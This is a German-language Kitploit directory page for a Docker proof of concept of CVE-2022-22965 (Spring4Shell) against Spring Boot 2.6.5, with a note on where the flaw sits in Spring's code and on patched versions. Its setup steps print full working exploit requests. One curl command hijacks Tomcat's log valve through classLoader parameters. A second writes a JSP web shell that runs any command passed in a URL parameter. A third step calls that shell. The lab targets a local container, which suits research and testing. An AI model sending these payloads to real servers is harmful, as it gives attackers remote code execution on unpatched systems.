Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22965 — Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5 | Kitploit
Tools/GitHubGitHub/itsecurityco/cve-2022-22965
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5

Repository anzeigen
163vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Spring Boot CVE-2022-22965

Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5

Shell

🚀 Erste Schritte

  1. Lade den Verteilungscode von https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip herunter und entpacke ihn.
  2. Führe docker compose up --build aus, um die verwundbare Anwendung zu bauen und zu starten.
  3. Führe curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" aus, um die Tomcat-Konfigurations-Valve zu ändern.
  4. Führe curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" aus, um die Web-Shell zu erstellen.
  5. Öffne deinen Browser und gehe zu http://localhost:8080/shell.jsp?1337=id, um mit der Ausführung von Befehlen zu beginnen.

🔎 Patch-Version

Der Quellcode für Spring Framework 5.3.17 (verwundbar) und Spring Framework 5.3.18 (gepatcht) kann jeweils von folgenden URLs heruntergeladen werden:

  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

Die Schwachstelle befindet sich in der Datei /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java in Zeile 290, wo eine Validierung für die Methoden Class.getClassLoader() und getProtectionDomain() angewendet wird, jedoch nicht für die Typen ClassLoader, ProtectionDomain und die Namen von PropertyDescriptors.

Der Unterschied zwischen dem verwundbaren und dem gepatchten Code kann mit dem Befehl diff ermittelt werden.

root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

Patch


Danksagungen

  • Ursprüngliche Forschung: @p1n93r
  • Danke: @fmunoz
Tool herunterladen